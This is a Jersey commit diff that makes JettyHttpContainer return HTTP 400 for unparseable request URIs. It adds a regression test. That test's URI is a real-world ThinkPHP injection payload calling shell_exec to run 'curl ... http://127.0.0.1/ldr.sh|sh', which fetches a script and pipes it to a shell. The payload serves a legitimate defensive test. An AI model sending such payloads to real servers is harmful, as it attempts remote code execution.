handle URISyntaxException in JettyHttpContainer (#4809)
Signed-off-by: aserkes <andrii.serkes@oracle.com>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index c99d106..95ce9df 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -37,7 +37,6 @@
<groupId>org.glassfish.hk2.external</groupId>
<artifactId>jakarta.inject</artifactId>
</dependency>
-
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
@@ -50,6 +49,11 @@
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-continuation</artifactId>
</dependency>
+ <dependency>
+ <groupId>org.apache.httpcomponents</groupId>
+ <artifactId>httpclient</artifactId>
+ <scope>test</scope>
+ </dependency>
</dependencies>
<build>
@@ -69,7 +73,6 @@
<artifactId>maven-bundle-plugin</artifactId>
<inherited>true</inherited>
</plugin>
-
</plugins>
<resources>
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
index e1a04d7..06687ec 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,7 @@
import javax.ws.rs.core.Application;
import javax.ws.rs.core.GenericType;
+import javax.ws.rs.core.Response.Status;
import javax.ws.rs.core.SecurityContext;
import javax.inject.Inject;
@@ -81,7 +82,8 @@
private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
- private static final int INTERNAL_SERVER_ERROR = javax.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final int INTERNAL_SERVER_ERROR = Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final Status BAD_REQUEST_STATUS = Status.BAD_REQUEST;
/**
* Cached value of configuration property
@@ -145,9 +147,9 @@
final Response response = request.getResponse();
final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
- final URI baseUri = getBaseUri(request);
- final URI requestUri = getRequestUri(request, baseUri);
try {
+ final URI baseUri = getBaseUri(request);
+ final URI requestUri = getRequestUri(request, baseUri);
final ContainerRequest requestContext = new ContainerRequest(
baseUri,
requestUri,
@@ -171,25 +173,34 @@
// Mark the request as handled before generating the body of the response
request.setHandled(true);
appHandler.handle(requestContext);
+ } catch (URISyntaxException e) {
+ setResponseForInvalidUri(response, e);
} catch (final Exception ex) {
throw new RuntimeException(ex);
}
-
}
- private URI getRequestUri(final Request request, final URI baseUri) {
- try {
- final String serverAddress = getServerAddress(baseUri);
- String uri = request.getRequestURI();
+ private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+ final String serverAddress = getServerAddress(baseUri);
+ String uri = request.getRequestURI();
- final String queryString = request.getQueryString();
- if (queryString != null) {
- uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
- }
+ final String queryString = request.getQueryString();
+ if (queryString != null) {
+ uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+ }
- return new URI(serverAddress + uri);
- } catch (URISyntaxException ex) {
- throw new IllegalArgumentException(ex);
+ return new URI(serverAddress + uri);
+ }
+
+ private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
+ LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+ if (configSetStatusOverSendError) {
+ response.reset();
+ //noinspection deprecation
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+ } else {
+ response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
}
}
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index e934e6e..ce299cd 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,11 @@
package org.glassfish.jersey.jetty;
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
import org.junit.Test;
import javax.ws.rs.GET;
@@ -28,6 +33,7 @@
import javax.ws.rs.core.Response;
import java.io.IOException;
+import java.net.URI;
import static org.junit.Assert.assertEquals;
@@ -45,6 +51,21 @@
}
@Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
public void test400StatusCode() throws IOException {
startServer(ExceptionResource.class);
Client client = ClientBuilder.newClient();